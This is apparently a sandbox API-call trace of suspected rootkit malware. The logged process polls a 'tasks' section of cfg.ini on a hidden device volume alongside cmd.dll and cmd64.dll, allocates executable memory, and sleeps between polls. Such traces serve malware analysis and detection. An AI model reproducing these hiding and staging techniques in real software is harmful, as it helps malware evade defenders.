[0125.802] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.802] KeEnterCriticalRegion () [0125.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.802] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.802] IdePortDispatch () returned 0x103 [0125.802] KeWaitForMutexObject () returned 0x0 [0125.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.802] KeLeaveCriticalRegion () [0125.802] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.802] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.802] KeEnterCriticalRegion () [0125.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.802] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ced000 [0125.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.803] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.803] IdePortDispatch () returned 0x103 [0125.803] KeWaitForMutexObject () returned 0x0 [0125.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.803] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.803] IdePortDispatch () returned 0x103 [0125.803] KeWaitForMutexObject () returned 0x0 [0125.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.803] KeLeaveCriticalRegion () [0125.803] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.804] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.804] KeEnterCriticalRegion () [0125.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.804] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.804] KeLeaveCriticalRegion () [0125.804] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.804] KeEnterCriticalRegion () [0125.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.804] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.804] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.804] KeLeaveCriticalRegion () [0125.804] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.804] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.804] KeEnterCriticalRegion () [0125.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.804] ExFreePoolWithTag (P=0xfffffa8003bf90d0, Tag=0x0) [0125.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.804] KeLeaveCriticalRegion () [0125.804] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.804] ReleaseMutex (hMutex=0xf0) returned 1 [0125.804] Sleep (dwMilliseconds=0x927c0) [0125.818] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.818] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.818] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.818] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.818] KeEnterCriticalRegion () [0125.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.818] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.818] IdePortDispatch () returned 0x103 [0125.818] KeWaitForMutexObject () returned 0x0 [0125.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.818] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.818] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.818] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.818] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.818] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfaa90 [0125.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.818] KeLeaveCriticalRegion () [0125.818] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.818] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.818] KeEnterCriticalRegion () [0125.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.818] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.818] KeLeaveCriticalRegion () [0125.818] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.818] KeEnterCriticalRegion () [0125.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.819] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.819] IdePortDispatch () returned 0x103 [0125.819] KeWaitForMutexObject () returned 0x0 [0125.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.819] KeLeaveCriticalRegion () [0125.819] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.819] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.819] KeEnterCriticalRegion () [0125.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.819] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf2000 [0125.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.819] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.819] IdePortDispatch () returned 0x103 [0125.819] KeWaitForMutexObject () returned 0x0 [0125.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.819] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.819] IdePortDispatch () returned 0x103 [0125.820] KeWaitForMutexObject () returned 0x0 [0125.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.821] KeLeaveCriticalRegion () [0125.821] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.821] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.821] KeEnterCriticalRegion () [0125.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.821] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.821] KeLeaveCriticalRegion () [0125.821] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.821] KeEnterCriticalRegion () [0125.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.821] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.821] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.821] KeLeaveCriticalRegion () [0125.822] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.822] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.822] KeEnterCriticalRegion () [0125.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.822] ExFreePoolWithTag (P=0xfffffa8003bfaa90, Tag=0x0) [0125.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.822] KeLeaveCriticalRegion () [0125.822] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.822] ReleaseMutex (hMutex=0xf0) returned 1 [0125.822] Sleep (dwMilliseconds=0x927c0) [0125.836] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.836] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.836] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.836] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.836] KeEnterCriticalRegion () [0125.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.836] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.836] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.836] IdePortDispatch () returned 0x103 [0125.837] KeWaitForMutexObject () returned 0x0 [0125.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.837] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.837] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.837] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.837] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.837] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfaa30 [0125.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.837] KeLeaveCriticalRegion () [0125.837] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.837] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.837] KeEnterCriticalRegion () [0125.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.837] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.837] KeLeaveCriticalRegion () [0125.837] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.837] KeEnterCriticalRegion () [0125.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.837] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.837] IdePortDispatch () returned 0x103 [0125.837] KeWaitForMutexObject () returned 0x0 [0125.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.837] KeLeaveCriticalRegion () [0125.837] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.838] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.838] KeEnterCriticalRegion () [0125.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d07000 [0125.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.838] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.838] IdePortDispatch () returned 0x103 [0125.838] KeWaitForMutexObject () returned 0x0 [0125.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.838] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.838] IdePortDispatch () returned 0x103 [0125.838] KeWaitForMutexObject () returned 0x0 [0125.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.838] KeLeaveCriticalRegion () [0125.838] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.839] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.839] KeEnterCriticalRegion () [0125.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.839] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.839] KeLeaveCriticalRegion () [0125.839] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.839] KeEnterCriticalRegion () [0125.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.839] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.839] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.839] KeLeaveCriticalRegion () [0125.839] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.839] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.839] KeEnterCriticalRegion () [0125.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.839] ExFreePoolWithTag (P=0xfffffa8003bfaa30, Tag=0x0) [0125.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.839] KeLeaveCriticalRegion () [0125.839] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.839] ReleaseMutex (hMutex=0xf0) returned 1 [0125.839] Sleep (dwMilliseconds=0x927c0) [0125.853] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.853] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.853] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.853] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.853] KeEnterCriticalRegion () [0125.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.853] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.853] IdePortDispatch () returned 0x103 [0125.853] KeWaitForMutexObject () returned 0x0 [0125.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.853] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.853] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.853] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.853] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.853] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf91d0 [0125.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.853] KeLeaveCriticalRegion () [0125.853] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.853] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.853] KeEnterCriticalRegion () [0125.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.853] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.853] KeLeaveCriticalRegion () [0125.854] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.854] KeEnterCriticalRegion () [0125.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.854] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.854] IdePortDispatch () returned 0x103 [0125.854] KeWaitForMutexObject () returned 0x0 [0125.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.854] KeLeaveCriticalRegion () [0125.854] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.854] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.854] KeEnterCriticalRegion () [0125.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.854] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0c000 [0125.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.854] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) 